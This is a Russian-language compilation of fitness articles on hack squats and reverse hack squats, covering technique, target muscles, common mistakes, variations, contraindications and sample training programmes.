Обратные гакк приседания в тренажере: Обратные гакк приседания: видео и фото упражнения

Обратные гакк приседания: видео и фото упражнения

Целевое предназначение классического гакк-приседа – тренинг квадрицепсов. Но «версия-перевертыш» базового упражнения или  обратные гакк-приседания ориентирована на развитие «антагонирующего» мышечного участка  – бицепса бедра и ягодичных мышц.

Техника выполнения

Исходное положение:

1. Подготовьте тренажер к работе, установив на него необходимый вес.
2. Встаньте лицом к спинке тренажера на опорной платформе гакк-машины, расположив ступни строго параллельно друг другу на уровне таза или чуть шире.
3. Заведите плечи под мягкие валики тренажера и жестко ухватитесь руками за рукоятки.
4. Голову держите вертикально, не опуская подбородок.

Движение:

1. Напрягите мышцы кора и, удерживая спину прогнутой, медленно на вдохе опустите корпус до параллели с платформой. Нисходящее движение происходит за счет отведения таза назад и сгибания коленей.
2. На выдохе без задержки в крайней нижней позиции возвратитесь до исходного положения. Не распрямляйте до конца коленный сустав.
3. Выполните предусмотренный тренировочным планом объем повторений.

Ошибки!

[su_list icon=”/wp-content/uploads/2017/01/Delete-64-1.png” icon_color=”#f55254″]

• Отрыв пяток от платформы тренажера.
• Нестабильное положение коленей, сведение их к середине.
• Округление спины при наклоне корпуса вперед.
• Использование больших весов.

[/su_list]

Рекомендации!

[su_list icon=”/wp-content/uploads/2017/01/Checked-50-1.png” icon_color=”#f55254″]

• Выполнение упражнения без пауз в верхней и нижней позициях сократит время воздействия нагрузки на коленный сустав без ущерба для эффективности проработки мышц.
• Большие веса в гакк-приседах априори под запретом – это создает чрезмерное давление на позвоночник, угрожая получением травмы.
• Не пытайтесь перенаправить вектор нагрузки, разводя носки в стороны или, напротив, сводя их к середине – это имеет смысл лишь для базовой версии упражнения. В варианте «обратных» приседаний такие эксперименты вредны для коленей.
• Наблюдайте за тем, чтобы пятки находились ближе к верхнему краю платформы тренажера – изменение их позиции ведет к выведению коленей за линию стопы в момент приседа, что создает травмоопасную нагрузку в коленном суставе.
• Оставляйте небольшой угол в колене при подъеме из приседа.

[/su_list]

[su_icon icon=”/wp-content/uploads/2017/01/Play-50.png” background=”#ffffff” size=”40″ shape_size=”4″ radius=”0″ text_size=”4″ margin=”0px 0px -20px 0px”][/su_icon]Видео Обратные гакк приседания

Разбор уражнения

В отличие от базового упражнения, аутентичная версия которого предполагала использование штанги, обратные гакк приседания удастся выполнять исключительно в машинном варианте и только в тренажерах «вертикальной» конструкции.

Этот вариант приседаний на тренажере «Хак Скват» особенно любим женщинами, поскольку позволяет направленно проработать типичные «проблемные» зоны: мышечный комплекс задней части бедра и ягодицы. Если рассмотреть мышечный атлас более подробно, получим следующую «картину» биомеханической работы:

[su_list icon=”/wp-content/uploads/2017/01/CircledDot.png”]

• Бицепсы бедер;
• Большие ягодичные;
• Полумембранная мышца;
• Полуперепончатая мышца;
• Разгибатели позвоночника.

[/su_list]

Подготовка к упражнению

Перед выполнением приседов в гакк-машине, уделите внимание повышению подвижности коленного сустава – выполните несколько упражнений из комплекса суставной гимнастики. Следом проведите серию растягивающих движений для задней части бедра и поясницы.

Далее переходите к целевой разминке с весом – выполните 2 разминочных подхода классических приседов с гантелями или пустым грифом.

Правильное выполнение

[su_list icon=”/wp-content/uploads/2017/01/Forward.png”]

• Во всех фазах упражнения позвоночник должен сохранять нейтральное положение с присутствием естественного прогиба. С этой целью старайтесь удерживать голову в одну линию с позвоночным столбом, направляя взгляд прямо – несоблюдение этого правила в большинстве случаев ведет к округлению спины и, как следствие, нарушению техники и безопасности движения.
• Правильным считается положение стоп на уровне выше средней линии платформы – ближе к верхнему краю.
• Центр тяжести должен приходиться на пятку и внешнюю часть стопы – это позволяет «объемнее» нагрузить целевые мышечные области. Чтобы проконтролировать себя, попробуйте в момент приседа слегка приподнять носки ступней. Удалось? Значит, правило соблюдено.
• Упражнение выполняется без пауз в конечных точках амплитуды. Опустившись в сед, без задержек и рывков подконтрольно мощно распрямите ноги, возвращаясь в стартовую позицию.
• Ступни на платформе должны находиться в параллельном положении – эта позиция наиболее физиологична и безопасна для сустава и позволяет распределять рабочую нагрузку симметрично относительно обеих ног.
• Следите за тем, чтобы голени в момент приседа оставались в фиксированном положении – движение должно происходить за счет отведения назад таза. Следуйте стандартной рекомендации: представляйте, будто присаживаетесь на воображаемый стул.
• Жестко удерживайтесь за рукояти тренажера – это не только стабилизирует положение, но и исключает нежелательные смещения позвоночника.
• Не запрокидывайте голову чрезмерно назад – это ведет к перенапряжению мышц шеи и возникновению нежелательного обратного изгиба позвоночника.
• В верхней точке для удержания нагрузки в мышцах и снятия ее с сустава не рекомендуется полностью разгибать ноги в коленях. Удерживайте их чуть согнутыми.

[/su_list]

Ошибки

[su_list icon=”/wp-content/uploads/2017/01/Delete-64-1.png” icon_color=”#f55254″]

• Совершение толчка носком, а не пяткой.
• Выдерживание пауз в крайних точках амплитуды.
• Выведение колен за пальцы стопы.
• Выпрямление колен в верхней точке.
• Изменение положения спины (округление) по мере отведения таза.

[/su_list]

Советы по эффективности

Подымаясь из приседа, подавайте таз вперед и дополнительно статически напрягайте ягодичные мышцы. Этот прием способствует более эффективной проработке целевой области.

Включение в программу

Обратные гакк-приседания можно использовать в качестве основного упражнения для развития ягодичных мышц и задней области бедер – в этом случае выполняйте их первыми после тренинга квадрицепса в режиме на 8-10 повторений. Как вариант, гакк-приседы можно включать в тренировочный план после становой тяги в качестве добивающего движения – в разрезе этих целей они выполняются в режиме на  12-20 повторений в 2-4 сетах.

В данном упражнении неправильно подобранный вес может стать фатальным для здоровья спины и колен. Тем более, что сама позиция тела в данном упражнении несколько нетипична, а, значит, и выполнение движения в верной технике первоначально может вызывать сложности. Старайтесь начинать с минимального отягощения или работать вовсе без такового, по мере роста прогресса ступенчато повышая нагрузку.

Противопоказания

[su_list icon=”/wp-content/uploads/2017/01/Minus.png”]

• Перед выполнением упражнения убедитесь, что не имеете серьезных противопоказаний по здоровью – откажитесь от обратных гакк-приседаний, если вы страдаете острыми формами заболеваний коленных и тазобедренных суставов.
• С внимательностью к технике и осторожностью к подбору веса в данном упражнении следует отнестись спортсменам с травмами позвоночника, в частности поясничного отдела.
• Физически неподготовленным атлетам также следует временно воздержаться от выполнения приседа в гакк-машине, уделив достаточное время укреплению связок и тренировке мышц.

[/su_list]

Обратные гакк-приседания. Изучаем все тонкости и секреты.

Наше почтение, уважаемые читатели! И сегодня мы поговорим про обратные гакк-приседания.

По прочтении Вы узнаете все о мышечном атласе, преимуществах и технике выполнения упражнения, а также мы выясним степень его эффективности и разберем некоторые практические моменты.

Итак, занимайте свои места в зрительном зале, мы начинаем.

Обратные гакк-приседания. Что, к чему и почему?

Как Вы думаете, что хочет девушка, среднестатистический посетитель тренажерного зала? Правильно – накачать свое причинное место, “мадам-сижу”.  А если эта барышня тертый калач, то не каждое упражнение повлияет на ее ягодицы. Что делать тогда? Ответ один – экспериментировать с упражнениями и пробовать их различные вариации. Об одном из таких, обратные гакк-приседания, мы и поговорим сегодня.

Примечание:
Для лучшего усвоения материала все дальнейшее повествование будет разбито на подглавы.

Мышечный атлас

Упражнение относится к классу компаундных и имеет своей целью проработку низ тела.

Мышечный ансамбль включает в себя следующие единицы:

• таргетируемая – большая ягодичная или квадрицепс (в зависимости от вариации);
• синергисты – квадрицепс или большая ягодичная (в зависимости от вариации), большая приводящая, камбаловидная;
• динамические стабилизаторы – бицепс бедра, икроножная.

Полный мышечный атлас представляет собой такую картину:

Преимущества

Выполняя упражнение обратные гакк-приседания, Вы вправе рассчитывать на получение следующих преимуществ:

• увеличение объема ягодиц;
• улучшение формы квадрицепса;
• развитие силы большой ягодичной мышцы;
• тонировка мышц ног;
• увеличение веса в классических приседаниях.

Техника выполнения

Обратные гакк-приседания относятся к упражнениям среднего уровня сложности. Пошаговая техника выполнения выглядит следующим образом:

Шаг №0.

Подойдите к тренажеру гакк-машина и выставите необходимый вес. Зайдите в тренажер лицом вперед, расположив грудь на спинке подушке, а плечи под подушками. Руками ухватитесь за верхние ручки (если они есть). Ноги поставьте в позицию на ширине плеч. Статически напрягите пресс, спину ровно зафиксируйте, взгляд направьте вперед. Откиньте в стороны удерживающие стопора. Это Ваша исходная позиция.

Шаг №1.

На вдохе начните выполнять приседания до тех пор, пока бедра не окажутся под прямым углом к икрам. Зафиксируйтесь в нижней точке на 1-2 счета и на выдохе вытолкните себя (с упором на пятки) вверх до ИП. Повторите заданное количество раз.

В картинном виде все это выглядит следующим образом:

В движении (вариант с акцентом на ягодицы) так:

Вариации

Помимо стандартного варианта обратных гакк-приседаний существуют несколько вариаций упражнения:

• с обхватом тренажера ногами;
• с ногами уже ширины плеч.

Секреты и тонкости

Чтобы выжать максимум из упражнения, придерживайтесь следующих рекомендаций:

• медленно и подконтрольно опускайтесь вниз и взрывно выходите наверх;
• в верхней части траектории не разгибайте колени до конца;
• не отрывайте грудь от спинки, если это не предполагает Ваш вариант исполнения (например, с акцентом на ягодицы);
• не опускайте голову вниз;
• в нижней точке траектории фиксируйтесь на 1-2 счета;
• экспериментируйте с положением ступней на платформе;
• при работе со сколько-нибудь значимыми с весами используйте тяжелоатлетический пояс;
• техника дыхания: вдох – при опускании вниз, выдох – при возвращении в ИП;
• численные параметры тренировки: количество подходов/повторений – 3х12.

С теоретической стороной закончили, теперь давайте разберем некоторые практические моменты.

Обратные гакк-приседания — эффективное упражнение для ног?

Пользовательские оценки крупнейшего портала по бодибилдингу и фитнесу bodybuilding.com в отношении ОГП составляют 8,2 балла из 9. Это говорит о высокой применяемости данного упражнения в своих тренировках. Что касается подключения именно ягодичных мышц, то для этого требуется отрыв груди от спинки и более широкая постановка ног с разведенными в стороны носками. Именно такой вариант предпочтительней всего использовать девушкам, целью которых является проработка ягодиц и бицепсов бедер.

Как накачать попу на тренажерах?

Для тех из Вас, кто на дух не переносит свободные веса и предпочитает тренить исключительно на тренажерах, имеет место следующая схема.

• длительность: 10 недель;
• количество тренировок в неделю: 2, понедельник/пятница;
• упражнения: суперсет: жим ногами с высокой постановкой ног + жим ногами с широкой постановкой ног; обратные гакк приседания с акцентом на ягодицы; суперсет: приседания в Смита с широкой постановкой стоп + болгарские выпады в Смита;
• количество сетов/повторений: суперсет №1/№2: 3х15; 4х10.

Используйте эту программу тренировок, и упругие ягодицы Вам обеспечены.

Собственно, это была последняя содержательная информация. Переходим к…

Послесловие

Очередное пополнение технического пантеона заметок, сегодня мы разбирали обратные гакк-приседания. Наверняка, до сего момента, Вы даже и не представляли, что упражнение можно так развернуть. Оказывается, можно, а вот нужно ли? На это предлагаю найти самостоятельный ответ. Посему дуем в зал и ищем. Удачи!

PS: а как Вы уходите от рутины тренировок?

PPS: помог проект? Тогда оставьте ссылку на него в статусе своей социальной сети — плюс 100 очков к карме гарантировано 🙂

Cкачать статью в pdf>>

С уважением и признательностью, Протасов Дмитрий.

Вы можете пропустить чтение записи и оставить комментарий. Размещение ссылок запрещено.

Гакк-приседания. Руководство пользователя.

Мое почтение, дамы и господа! На повестке дня очередная техническая заметка, и сегодня она будет посвящена такому упражнению как гакк-приседания. По прочтении Вы познакомитесь с исторической справкой, техникой выполнения и основными преимуществами, кроме того, мы проведем сравнение двух упражнений и узнаем, какое из них лучше.

Итак, если все в сборе, тогда начнем, пожалуй.

Гакк-приседания. Что, к чем и почему?

Большинство людей, посещающих тренажерный зал, когда разговор заходит о тренировке ног, называют стандартный набор упражнений, чаще всего это приседания со штангой, жимы ногами, различные виды разгибаний. Если спросить: а как насчет гакк-приседаний, чаще всего можно услышать ответ — а что это такое? Вот как раз с этим нам и предстоит сегодня разбираться, поехали.

Упражнение именное и получило свое название благодаря специальной конструкции тренажера, изобретенного нашим соотечественником, борцом и по совместительству цирковым атлетом, Георгом Гаккеншмидтом. Конструкция устройства проста и представляет собой стальную раму, оснащенную салазками, ходящими взад и вперед и «подплечники»:

Гакк-машина имитирует подконтрольные (с фиксированной спиной) приседания со свободным весом и предназначена для развития мышц нижней части тела. В процессе выполнения упражнения спортсмены, сгибая ноги в коленных суставах, перемещают платформу с весом вдоль одной плоскости движения.

Примечание:

Отличие гакк-приседаний от классики в том, что вес штанги приходится на ноги, а не на плечи.

Анатомический атлас

Как и в большинстве видах приседаний в работе принимают участие квадрицепс (четырехглавая мышцы бедра), подколенные сухожилия, аддукторы/абдукторы и ягодичные мышцы. Мышцы пресса и икры выступают в качестве синергистов.

Мышечный атлас выглядит следующим образом:

Это упражнение отлично изолирует квадрицепс и позволяет построить внушительный перед бедра.

Преимущества

Гакк-приседания обладают рядом неоспоримых преимуществ в сравнении с классическими видами приседаний:

• легкость и техническая простота исполнения – нет необходимости искать центр тяжести и балансировать со штангой на плечах;
• повышенная грузоподъемность;
• безопасность выполнения – отсутствие сильной осевой нагрузки на позвоночник;
• возможность выполнения без помощи страхующего;
• тяжелые приседания стимулируют выработку гормона роста и положительно сказываются на функциональной гипертрофии мышц.

Техника выполнения

Шаг №1.

Подойдите к тренажеру и снарядите его необходимым весом. Слегка подсядьте под него, прислонив заднюю часть туловища к спинке машины. Плечи заведите под подплечники. Ноги расположите на ширине плеч и на середине платформы. Ступни поставьте параллельно друг другу или слегка разведите от себя. Взгляд направьте вперед, в пояснице прогиб.

Шаг №2.

Разблокируйте запирающий механизм — снимите удерживающие стопоры. Выпрямите ноги, не запирая колени. Это исходная позиция для старта.

Шаг №3.

Начните медленно опускать платформу вниз, сгибая коленные суставы. Уходите вниз, пока угол м/у верхней частью ноги и икрами не станет меньше 90 градусов, т.е. присядьте чуть ниже параллели пола. Выполните вдох при опускании.

Шаг №4.

Достигнув нижней точки, оттолкнитесь пятками от платформы и выжмите вес плавно вверх. Выпрямите ноги и вернитесь в исходное положение. Повторите заданное количество раз.

В картинном варианте все это безобразие выглядит так:

Вариации

в зависимости от положения ног на платформе:

• узкая постановка (1) – акцент на латеральную головку квадрицепса;
• широкая постановка (2) – акцент на медиальную головку квадрицепса и аддукторы;
• высокая постановка (3) – акцент на бицепсы бедер и ягодицы;
• низкая постановка (4) – акцент на переднюю поверхность бедра.

в зависимости от положение корпуса относительно тренажера:

• обратные (reverse) гакк-приседания – атлет становится лицом к тренажеру.

в зависимости от типа снаряда:

• гакк-приседания со штангой;
• гакк-приседания в тренажере Смита.

На первый взгляд, упражнение может показаться простым, это так, однако многие все равно допускают следующие ошибки: отрыв пяток от платформы; сведение коленей; отрыв позвоночника от спинки.

Полезные советы

• выполняйте упражнение в управляемом режиме на протяжении всей траектории движения;
• медленно опускайтесь вниз и мощно, взрывно вверх;
• толкайте вес пятками, а не носками;
• держите позвоночник “приклеенным” к спинке тренажера;
• не смотрите вниз;
• если ваши колени подкашиваются от любого веса, это упражнение не для Вас, для начала усильте стабильность коленных суставов;
• не допускайте “выезд” коленей за носки ступней;
• выдыхать нужно только в самом легком участке подъема, а не сразу по движению вверх;
• не зависайте в нижней точке, перекуривая и отдыхая, сразу же отправляйте себя в верхнюю позицию;
• всегда разминайте ноги и особенно коленные суставы перед приседаниями, можно выполнить несколько разминочных подходов с легким весом в гакк-машине, чтобы “настроиться” на ноги;
• не распрямляйте до конца колени в верхней точке.

Примечание:

Культурист Том Платц является одним из обладателем самых массивных ног в истории бодибилдинга, также выполнял гакк-приседания.

Ну и в заключении проведем небольшое сравнение (на предмет, какое упражнение лучше для развития переднего бедра) между гакк-приседаниями и фронтальным приседом со штангой.

Фронтальный присед — отличное упражнение для развития квадрицепсов, однако оно имеет некоторые ограничения. В частности, для его осуществления необходимо иметь сильный верх спины, с тем, чтобы штанга шла по правильной траектории и не происходило завалов. Как только спина начнет уставать это приведет к падению снаряда. Получается, что спина может выйти из строя раньше, чем ноги начнут прокачиваться.

Поэтому наиболее эффективно, с точки зрения гипертрофии мышечных волокон, при выполнении фронтальных приседаний, лучше всего использовать принцип отдых-пауза. Он заключается в следующем: вы делаете 3 повторения, потом отдых (10-15 секунд) и еще 3 повторения, пока не дойдете до 6. Работа в таком ключе позволит утомить ноги раньше, чем спину. Также можно использовать принцип предварительного утомления для квадрицепсов (допустим, сделать пару подходов разгибаний) и, сделав их слабым звеном, добить фронтальными приседаниями в несколько сетов.

В свою очередь гакк-приседания позволяют избежать этих проблем с утомлением спины, т.к. вес штанги приходится на ноги. При их выполнении не нужно ничего предварительно утомлять — самая тяжелая работа осуществляется квадрицепсами. Однако “затык” заключается в повышенном износе, стрессе для коленей, что в конечном итоге выливается в проблемы с коленной чашечкой.

Вывод: с точки зрения гипертрофии переда бедра, гакк-приседания являются лучшим упражнением, однако при условии, что человек может его выполнять без боли в коленях. В тоже время фронтальные приседания -отличное координационное упражнение для проработки всего тела. Тут следует помнить, что бодибилдинг и тренировки это, в первую очередь, поиск того, что работает лучше для Вас. Вы должны принимать собственные решения и научиться считывать обратную связь своего организма.

Ну вот, в таком духе, таком разрезе, подытожим всю эту болтологию и будем прощаться.

Послесловие

Сегодня мы пополнили наш технический пантеон заметкой про гакк-приседания, а это значит, что теперь на один инструмент трансформации у Вас стало больше. Осталось дело за малым – теорию переложить на рельсы практики, так что собираем сумку, дуем в зал и внедряем. На сим все, разрешите откланяться, до новых встреч!

PS. Не забываем отписывать дельные вопросы и комментарии, всегда рад Вашей активности, начали!

PPS. Помог проект? Тогда оставьте ссылку на него в статусе своей социальной сети — плюс 100 очков к карме, гарантированно.

С уважением и признательностью, Протасов Дмитрий.

Вы можете пропустить чтение записи и оставить комментарий. Размещение ссылок запрещено.

Гакк-приседания: от А до Я

Гакк-приседания — особый вид приседаний, которые выполняются в специальном тренажере или с использованием штанги.

Борец и цирковой атлет начала двадцатого века Георг Гаккеншмидт придумал этот эффективный вид приседаний. В последствие был создал специальный тренажер для правильного выполнения гакк-приседаний.

Какие мышцы работают при гакк-приседе

Предназначены гакк-приседания для развития мышц нижней части тела: для проработки квадрицепса — четырёхглавых мышц, образующих переднюю и боковую поверхности бедра.

В квадрицепсах по четыре пучка мышц: латеральная, медиальная широкая, промежуточная широкая мышцы и прямая мышца бедра. Он стабилизирует коленный сустав при неподвижном стоячем положении тела, при ходьбе, прыжках и беге, сгибании и разгибании ног, подъеме по лестнице и в гору.

Задействованные мышцы

Эти мышцы формируют внешний вид бедра спереди и сбоку, их развитость влияет на уровень силовой подготовки спортсмена, на его выносливость, физическое состояние.

Гакк-приседания позволяют проработать внешние и внутренние поверхности бедра, если изменить методику выполнения упражнений. Принимают участие в приседании приводящие и отводящие мышцы бедра, ягодичные и мышцы синергисты — икроножные и пресс.

Техника выполнения гакк-приседаний с помощью штанги без тренажера

Гакк приседание со штангой

1. Поставьте штангу с нужным рабочим весом, встаньте к ней спиной
2. Присядьте и сверху возьмите прямым хватом
3. Поднимайте штангу в умеренном темпе, выпрямляя тазобедренный сустав и колени
4. Спину и руки держите прямыми.
5. Опуская штангу, следите чтобы бедра были параллельны полу
6. Сделайте планируемое количество подходов.

Техника выполнения приседаний в тренажере

Гакк приседания в тренажере

Для точного выполнения приседаний используется тренажер Гаккеншмидта или гакк-машина, устройство представляет из себя стальную раму с платформой для ног, по раме вверх и вниз перемещаются салазки с платформой, к ней крепится груз, и спортсмен упирается в неё спиной. Так же имеются «подплечники» с встроенными рукоятками. Есть некоторые модификации тренажера: например, без «подплечников».

1. Установите подходящий вес
2. Сядьте в полуприсед под «подплечники», спиной прижмитесь к спинке тренажера
3. Ноги установите на середину платформы, ступни — параллельно или носки чуть в стороны, стоят на ширине плеч
4. Смотрите вперед, поясницу чуть прогните
5. Снимите запоры, удерживающие вес
6. Поднимайтесь с весом, выпрямляя ноги, но не «запирайте» колени. Это исходная позиция
7. На выдохе медленно опускайтесь, сгибая ноги в коленных суставах, пока бедро не дойдет до позиции «параллельно полу»
8. На выдохе из нижней позиции медленно поднимайтесь, упираясь стопами (пятки на платформе!) в платформу, колени в верхней точке до конца не выпрямляйтеповторяйте плановое количество раз.

Эти движения имитируют приседания с удержанием веса и с фиксированной спиной (прижатой к платформе).

Фото выполнения гакк-приседаний на тренажере

Варианты постановки ног

В зависимости от требуемого результата, используют разные варианты постановки ног на платформу:

• Узкая (ступни рядом) — упор на латеральную головку квадрицепса
• Широкая (уровень плеч и шире) — упор на медиальную головку и аддукторы (приводящие мышцы бедра)
• Высокая (ступни у верхнего края платформы) — упор на бицепсы бедра и ягодицы
• Низкая (ступни у нижнего края платформы) — упор на переднюю поверхностьбедра
• Обратные гакк-приседы (лицом к тренажеру) — упор на ягодицы

Виды постановки ног в Гакк-машине

Преимущества гакк-приседаний

• Нет необходимости в страховке, возможно самостоятельное выполнение
• Техника исполнения проста и доступна, не требует разучивания
• Возможность увеличивать грузоподъемность лучше, чем в приседе со штангой из-за уменьшения нагрузки на позвоночный столб
• Не надо искать центр тяжести, как в случае со штангойснижена травмоопасность при правильном выполнении упражнения
• Легче прорабатываются отдельные мышцы — они проще изолируются точнойпостановкой стоп на платформу
• Стимулируется гормон роста, происходит функциональная гипертрофия мышц ног

Вот таких результатов добиваются девушки выполняя упражнения на гакк-тренажере

Недостатки упражнения

• Повышенный «износ» коленей. Появляются проблемы в коленном суставе. Не рекомендуется выполнять спортсменам с проблемами в этой области тела.
• Рекомендуется преимущественно для спортсменов-бодибилдеров. Девушкамстоит разумно контролировать нагрузку и особенно — состояние коленных и тазобедренных суставов.

Типичные ошибки гакк-приседа

При всей простоте выполнения этого упражнения существуют типичные ошибки при выполнении гакк-приседаний :

1. Отрыв пяток от платформы
2. Сведение коленей
3. Отрыв нижней части спины от платформы
4. Слишком большой вес
5. Есть моменты, когда движение вниз происходит неконтролируемо
6. Толчок носком стопы, а не пяткой
7. Движение вверх выполняется с паузами, а должно быть мощным, взрывным
8. Колени выходят за пальцы ног
9. Колени полностью выпрямляются в верхней точке, должны оставаться чутьсогнутыми
10. Остановка или отдых в нижней части движения, нужно сразу же начинать подъем
11. Опущена голова, взгляд внизу
12. Приседания выполняются без предварительного разогрева
13. Позвоночник не давит на платформу, из-за этого он нагружается
14. Сбивается дыхание. Выдох делается в начале подъема, а надо при прохождении
15. Самого легкого участка.

Типичные ошибки гакк приседаний

Советы по прокачке квадрицепса

Интересный факт: Том Платц известный бодибилдер и актер выполняя приседания со штангой, брал вес 260 кг и приседал до полного отказа мышц ног. При собственном весе в 104 кг Том приседал с 286 кг 15 раз, со 158 кг 52 раза и удерживал 225 кг в течение 10 минут на прямых ногах.

Томас Стивен Платц (англ. Thomas Steven Platz) по прозвищу “Квадробатя”

Для развития квадрицепса наиболее результативными считаются фронтальные приседы со штангой и гакк-приседания. Оценим эти упражнения.

• Фронтальный присед со штангой требует сильных мышц спины, иначе происходит завал штанги, кроме того спина быстро устает, еще до того, как ноги начнут прокачиваться. Поэтому результат достигается правильным подбором количества подходов, чередованием нагрузки с отдыхом и предварительным утомлением квадрицепсов до начала приседа со штангой.
• Гакк-приседание позволяет изолировать квадрицепс и за счет этого выстроить внушительный перед бедра. При этом не возникает вопрос об утомлении спины, ведь вес штанги приходится не на плечи, а на ноги. Поэтому считается, что гакк-приседания имеют преимущества перед фронтальным.

Рекомендации по безопасности

Как сохранить колени	Бережем мышцы поясницы
Чтобы не было травм коленей и излишней нагрузки на суставы ног:— Перед гакк-приседаниями разогрейте связки и суставы, сделайте разминочныйкомплекс или один из видов стретчинга— Движения вниз в тренажере выполняются плавно, без рывков— Колени в приседе не выходят за пальцы ног— Толкайте платформу с весом пятками, не носками— Не выпрямляйте до конца колени. Это сохранит напряжение в мышцах и разгрузит суставы.	— Не опускайте голову, смотрите вперед— Не отрывайте спину от платформы, если низ спины отходит — ниже не садитесь

Чем можно заменить гакк-приседания?

Для квадрицепса лучшее упражнение — приседания со штангой, бодибаром на плечах или с гантелями. Здесь работает ягодичная мышца. Чтобы убрать с нее нагрузку — подкладываем под пятки брусок 2-3 см, а если увеличить — при движении вниз ягодицы отводятся назад, будто садимся на стул, который стоит далеко за спиной.

Альтернативные упражнения фото:

Приседания со штангой или бодибаром на груди и жим ногами с узкой постановкой ног позволит проработать надколенную область квадрицепса.

Приседания заменяем наклонами вперед со штангой или бодибаром на плечах — работают ягодичная и двуглавая мышца бедра.

Выпады в сторону с гантелями (штангой или бодибаром на плечах) в зависимости от угла выпада позволят проработать ног и ягодиц, включая укрепление квадрицепса.

В зависимости от состояния суставов можно подобрать и другие упражнения на развитие мышц бедра. Считается, что гакк-приседания — лучшее из возможных, прокачивающих квадрицепс, создающих гипертрофию бедра, но если невозможно выполнять его из-за боли в коленях, стоит заменить приседания на менее болезненные упражнения. Каждому человеку в силу его физических особенностей можно подобрать оптимальный комплекс, главное искать то, что подходит и работает лучше всего.

Обязательно прочитайте об этом

Приседания в гакк тренажере (машине) со штангой, обратные, жим ногами, для ягодиц

Гакк приседания представляют собой разновидность жимовых упражнений. Выполняется движение в специальном тренажере, расположенном под некоторым углом к плоскости пола. Данный спортивный снаряд позволяет разнообразить тренировки мышц ног.

Какие мышцы работают при гакк-приседе?

Приседания в гакк тренажере включают в работе все мышцы нижней части тела и брюшного пресса.

Основной целевой группой являются квадрицепсы:

• Латеральная мышца бедра. Эта широкая мышца занимает почти внешнюю сторону верхней части конечности. В верхней точке она крепится к большому вертелу межвертельной линии и срединной губе шероховатой линии бедра. Латеральная головка создает внешний вид и объем ноги.
• Прямая мышца. Это самая длинная мышца в данной группе. Начинается от передней нижней ости надвертлужной бороздки. В верхней части прямая головка квадрицепса заходит на заднюю часть бедра и помогает двуглавой мышце при сгибании ноги.
• Медиальная мышца. Становится заметна в нижней части бедра и занимает срединное положение. Крепится к медиальной губе шероховатой линии бедра. У тренированных спортсменов данная головка хорошо различима в виде капли, нависающей над коленом.
• Промежуточная широкая. Это самая слабая мышца квадрицепса. Располагается между латеральной и медиальной головкой. В верхней точке крепится к передней поверхности бедренной кости.

Приседания в гакк тренажере позволяют задействовать основные мышцы ног.

Все пучки четырехглавой мышцы в нижней точке крепятся к большому сухожилию, которое охватывает подколенник и присоединяется к большеберцовой кости. Из места и характера крепления пучков четырехглавой мышцы следует, что основной функцией квадрицепса является выпрямление ноги в коленном суставе. Это является сутью и основной идей приседаний гакк.

При занятиях в данном тренажере в работу включаются:

• Задняя поверхность бедра (двуглавая и ягодичная мышцы).
• Мышцы внутренней поверхности бедра.
• Мышцы стабилизаторы средней части тела (длинные разгибатели поясничного отдела, косые живота, прямые брюшного пресса).
• Мышцы голени (камбаловидная, икроножная).
• Мышцы стопы.

Статическая нагрузка ложиться на дельтовидные, мышцы рук и верхней части спины. Существует большое число вариаций данного упражнения. Они смещают нагрузку в большей степени от одной крупной мышечной группы к другой. В зависимости от постановки ног на платформе тренажера в работу могут включаться приводящие и отводящие мышцы бедра.

В этом случае снимается нагрузка с латеральной головки квадрицепса. Помимо четырехглавой вес снаряда с отягощением принимают на себя ягодичные мышцы. Это происходит при расположении ступней ближе к заднему краю платформы.

Техника выполнения гакк-приседаний с помощью штанги без тренажера

Приседания в гакк тренажере позволяет спортсмену снизить осевую нагрузку на позвоночник. Это происходит за счет расположения направляющих и подвижной платформы под некоторым углом к горизонту.

Однако подобное оборудование встречается не в каждом спортивном зале. Для того, что максимально снизить нагрузку на позвоночный столб можно выполнять приседания со штангой за спиной и перед грудью спортсмена.

За спиной

Техника:

• Снаряд с необходимой нагрузкой устанавливается на ровную поверхность. Спортсмен разворачивается к нему спиной.
  
• Приседая, атлет фиксирует штангу прямым хватом (кисти смотрят на гриф). Большие пальцы обхватывают штангу и соединяются с указательными в замок. Не допускается браться за гриф «обезьяним» открытым хватом.
• Далее следует начать процесс выпрямления тела в коленях и тазобедренном суставе. Важно осуществлять движение плавно, без рывков.
• Процесс опускания штанги осуществляется до момента, при котором бедра становятся параллельны полу.

Весь цикл описанных действий представляет собой 1 полное повторение. Количество повторов определяется спортсменом в зависимости от физической формы и целей тренировки.

Перед грудью

Техника:

• Штанга фиксируется на уровне плечевого пояса и опирается на кисти или дельтовидные мышцы спортсмена. Расположение снаряда на данном уровне позволяет развернуть плечи и свести лопатки. Это создает для позвоночника дополнительную защиту.
• Опускание из верхнего положения следует осуществлять плавно. В нижней точке бедра параллельны полу.
• Подъем в исходную точку происходит без рывков.

Рассмотренные движения представляют собой одно полное повторение.

Техника выполнения приседаний в тренажере

Тренажер Гаккеншмидта представляет собой наклоненную раму с пластиной для ног и подвижной платформой для установки дополнительных грузов. Чаще всего направляющие платформы закреплены под углом  к плоскости пола. По этой причине многие атлеты совершают ошибку при подсчете общей величины нагрузки. Она равна весу снаряда.

Как известно вес тела не равен массе, а определяется как её произведение на синус угла между направляющими и полом (приблизительно sin45=0,7).

Подвижная часть оборудования оснащена мягкой спинкой и опорами для плеч. На дельты ложиться вес инвентаря. Тренажер оснащен специальными рукоятями для фиксации рук. Существуют отдельные модификации, в которых отсутствуют основные опоры, а вес платформы приходится удерживать на руках.

Выполнение любого атлетического упражнения следует начинать с разминки и предварительных подходов с легким весом.

После этого можно приступать к выполнению рабочих подходов:

• Необходимо установить платформу на подходящей высоте и присесть под неё.
• Спина и плечи должны быть плотно прижаты к соответствующим панелям и валикам.
• Ноги следует установить на середину нижней пластины так, чтобы пятки находились немного впереди воображаемой линии корпуса.
• Ступни ног выставляются на ширину плеч.
• Смотреть необходимо прямо перед собой. Не допускается опускать взгляд вниз или отводить в сторону.
• Следует снять платформу с опор, создав напряжение в мышцах ног. Подвижные стопора необходимо сдвинуть в сторону и начать плавное опускание вниз.
• Приседание выполняется до тех пор, пока угол между бедром и голенью не достигнет
• По достижению указанной позиции следует без паузы подниматься вверх.

При выполнении приседаний в гакк-машине важно следить за правильностью дыхание. Вдох осуществляется при движении вниз. В этот промежуток времени диафрагма испытывает меньшую нагрузку и её проще растягиваться. Выдох – при движенье вверх.

Обратные гакк приседания для ягодиц

